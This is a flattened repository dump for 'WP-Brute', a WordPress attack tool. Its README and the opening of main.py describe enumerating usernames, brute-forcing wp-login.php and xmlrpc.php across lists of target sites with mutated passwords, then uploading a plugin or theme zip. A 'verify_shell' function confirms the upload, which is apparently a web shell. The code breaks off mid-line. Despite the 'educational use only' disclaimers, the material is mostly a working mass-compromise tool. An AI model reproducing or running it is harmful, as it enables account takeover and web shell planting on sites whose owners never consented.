├── libeay32.dll ├── ssleay32.dll ├── plugin-inmymine.zip ├── theme-inmymine.zip ├── LICENSE ├── README.md ├── main.py └── password.txt /libeay32.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InMyMine7/WP-Brute/HEAD/libeay32.dll -------------------------------------------------------------------------------- /ssleay32.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InMyMine7/WP-Brute/HEAD/ssleay32.dll -------------------------------------------------------------------------------- /plugin-inmymine.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InMyMine7/WP-Brute/HEAD/plugin-inmymine.zip -------------------------------------------------------------------------------- /theme-inmymine.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InMyMine7/WP-Brute/HEAD/theme-inmymine.zip -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License (Modified - MT License) 2 | 3 | Copyright (c) 2025 InMyMine7 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to use, 7 | copy, modify, merge, publish, and distribute copies of the Software, 8 | subject to the following conditions: 9 | 10 | 1. The Software shall be used for educational and ethical purposes only. 11 | 2. The above copyright notice and this permission notice shall be 12 | included in all copies or substantial portions of the Software. 13 | 3. The Software is provided "as is", without warranty of any kind, express or implied, 14 | including but not limited to the warranties of merchantability, fitness 15 | for a particular purpose and noninfringement. In no event shall the 16 | authors or copyright holders be liable for any claim, damages or other 17 | liability, whether in an action of contract, tort or otherwise, arising from, 18 | out of or in connection with the Software or the use or other dealings in the Software. 19 | 4. Users of this Software are responsible for complying with their local laws and regulations. 20 | 21 | Repository: https://github.com/InMyMine7 22 | Telegram: https://t.me/minsepen 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # XMLRPC & WPLOGIN Bruteforce + Auto Upload 2 | 3 | This tool is designed for security researchers and penetration testers to test the security of WordPress websites. It attempts to brute-force login credentials using both the wp-login.php and xmlrpc.php methods and, upon successful login, uploads a specified plugin and/or theme. 4 | 5 | **Disclaimer:** This tool is for **educational and authorized testing purposes only**. Unauthorized use on systems you do not own or have permission to test is illegal and unethical. The author is not responsible for any misuse or damage caused by this tool. 6 | 7 | ## Features 8 | - Asynchronous bruteforce with `asyncio` + `httpx` 9 | - Supports login via `wp-login.php` and `xmlrpc.php` 10 | - Checks if a target website is a WordPress site. 11 | - Brute-forces login credentials using a provided password list with various transformations. 12 | - Uploads a specified plugin and/or theme upon successful login. 13 | - Verifies the uploaded plugin or theme by checking for specific strings. 14 | - Loads local OpenSSL DLLs on Windows for SSL compatibility. 15 | - Bypasses SSL verification for flexibility in testing environments. 16 | 17 | ## Requirements 18 | 19 | - Python 3.7 or higher 20 | - Required Python libraries: 21 | - `httpx` 22 | - `colorama` 23 | - `requests` 24 | - `asyncio` 25 | - `ssl` 26 | - `ctypes` (for Windows users) 27 | 28 | You can install the required libraries using pip: 29 | 30 | ```bash 31 | pip install httpx colorama requests 32 | ``` 33 | 34 | ## Usage 35 | 36 | 1. **Prepare the target list file:** Create a text file containing the list of target websites, one per line. For example: 37 | 38 | ``` 39 | http://example.com 40 | http://anotherexample.com 41 | ``` 42 | 43 | 2. **Prepare the password list file:** Create a text file containing the list of passwords to try. The tool supports placeholders in the passwords that will be replaced with transformations of the username and domain. For example: 44 | 45 | ``` 46 | [WPLOGIN]123 47 | password[DOMAIN] 48 | [YEAR]admin 49 | ``` 50 | 51 | Available placeholders: 52 | 53 | - `[WPLOGIN]`: Replaced with the username. 54 | - `[UPPERLOGIN]`: Replaced with the username in uppercase. 55 | - `[DOMAIN]`: Replaced with the domain name without the TLD. 56 | - `[DDOMAIN]`: Replaced with the full domain name. 57 | - `[YEAR]`: Replaced with the current year. 58 | - `[UPPERALL]`: Replaced with the username in uppercase. 59 | - `[LOWERALL]`: Replaced with the username in lowercase. 60 | - `[UPPERONE]`: Replaced with the username capitalized. 61 | - `[LOWERONE]`: Replaced with the first letter lowercase and the rest uppercase. 62 | - `[AZDOMAIN]`: Replaced with the domain name without special characters. 63 | - `[REVERSE]`: Replaced with the reversed username. 64 | - `[DVERSE]`: Replaced with the reversed domain name without TLD. 65 | - `[UPPERDO]`: Replaced with the domain name capitalized without TLD. 66 | - `[UPPERDOMAIN]`: Replaced with the full domain name in uppercase. 67 | 68 | 3. **Prepare the plugin and theme zip files:** The tool looks for `plugin-inmymine.zip` and `theme-inmymine.zip` in the same directory as the script. These should be the zip files you want to upload upon successful login. 69 | 70 | 4. **Run the script:** Execute the script using Python: 71 | 72 | ```bash 73 | python main.py 74 | ``` 75 | 76 | You will be prompted to enter the path to the target list file and the password list file. 77 | 78 | 5. **Output:** The tool will output the results to the console and save successful logins to `success.txt`. If uploads fail, the site will be logged in `failed.txt`. Uploaded plugins and themes will be saved in `plugins.txt` and `themes.txt`, respectively. 79 | 80 | ## example 81 | ```bash 82 | [INFO] OpenSSL Version: OpenSSL 1.1.1 83 | Enter target list file: x.txt 84 | Enter password list file: password.txt 85 | [found username] http://example.com: ['admin'] 86 | [FAIL] http://example.com -> admin:password123 87 | [SUCCESS] http://example.com -> admin:admin2025 88 | [UPLOAD SUCCESS] Plugin: http://example.com/wp-content/plugins/random123/install.php 89 | ``` 90 | ## How It Works 91 | 92 | 1. **WordPress Detection:** The tool checks if the target site has a `wp-login.php` page and looks for specific strings to confirm it's a WordPress site. 93 | 2. **Username Enumeration:** It attempts to retrieve usernames from the WordPress REST API endpoint `/wp-json/wp/v2/users`. Falls back to default username (admin) if enumeration fails 94 | 3. **Brute-Force Login:** For each username, it tries each password in the list, applying transformations based on the placeholders. It attempts to log in using both the wp-login.php and xmlrpc.php methods. 95 | 4. **Upload Plugin/Theme:** Upon successful login, it uploads the specified plugin and/or theme zip files using the WordPress admin interface. 96 | 5. **Verification:** It checks if the uploaded plugin or theme is active by verifying specific strings in the response from the uploaded file's URL. 97 | 98 | ## Contributing 99 | 100 | Contributions are welcome! Please feel free to submit a pull request or open an issue for any bugs or feature requests. 101 | 102 | 1. Fork this repository. 103 | 2. Create a pull request with your changes. 104 | 3. Report bugs or suggestions via GitHub issues. 105 | 106 | ## License 107 | 108 | This project is licensed under the MIT License. 109 | 110 | ## Contact 111 | 112 | For any inquiries, you can reach me at: 113 | 114 | - GitHub: InMyMine7 115 | - Telegram: t.me/minsepen 116 | 117 | --- 118 | 119 | **Note:** This tool is for educational and testing purposes only. Always ensure you have permission before testing any website. -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import ctypes 4 | import ssl 5 | import asyncio 6 | import httpx 7 | import warnings 8 | import re 9 | import random 10 | from urllib.parse import urlparse 11 | import datetime 12 | import requests 13 | from colorama import Fore, init, Style 14 | warnings.filterwarnings("ignore") 15 | init(autoreset=True) 16 | g = Fore.GREEN + Style.BRIGHT 17 | y = Fore.YELLOW + Style.BRIGHT 18 | wh = Fore.WHITE + Style.BRIGHT 19 | res = Style.RESET_ALL 20 | 21 | 22 | banner = f"""{g} 23 | __ __ ____ ____ ____ __ __ ______ ___ 24 | | |__| || \ | \ | \| | || | / _] 25 | | | | || o ) | o )| D ) | || | / [_ 26 | | | | || _/ | || /| | ||_| |_|| _] 27 | | ` ' || | | O || \| : | | | | [_ 28 | \ / | | | || . \ | | | | | 29 | \_/\_/ |__| |_____||__|\_|\__,_| |__| |_____| 30 | 31 | {wh}[{g}+{wh}] XMLRPC & WPLOGIN Bruteforce + Auto Upload Made with 💖 By '/Mine7 32 | {wh}[{g}+{wh}] github.com/InMyMine7 33 | {wh}[{g}+{wh}] t.me/minsepen {res} 34 | 35 | """ 36 | def load_local_ssl(): 37 | dll_dir = os.path.dirname(os.path.abspath(__file__)) 38 | try: 39 | if os.name == 'nt': 40 | ctypes.WinDLL(os.path.join(dll_dir, 'libeay32.dll')) 41 | ctypes.WinDLL(os.path.join(dll_dir, 'ssleay32.dll')) 42 | print("[INFO] Loaded local OpenSSL DLLs.") 43 | except Exception as e: 44 | print(f"[WARNING] Gagal load OpenSSL DLL lokal: {e}") 45 | 46 | load_local_ssl() 47 | 48 | def verify_shell(url): 49 | try: 50 | resp = requests.get(url, timeout=10) 51 | if any(x in resp.text for x in ["InMyMine7", "Priv8 Uploader", "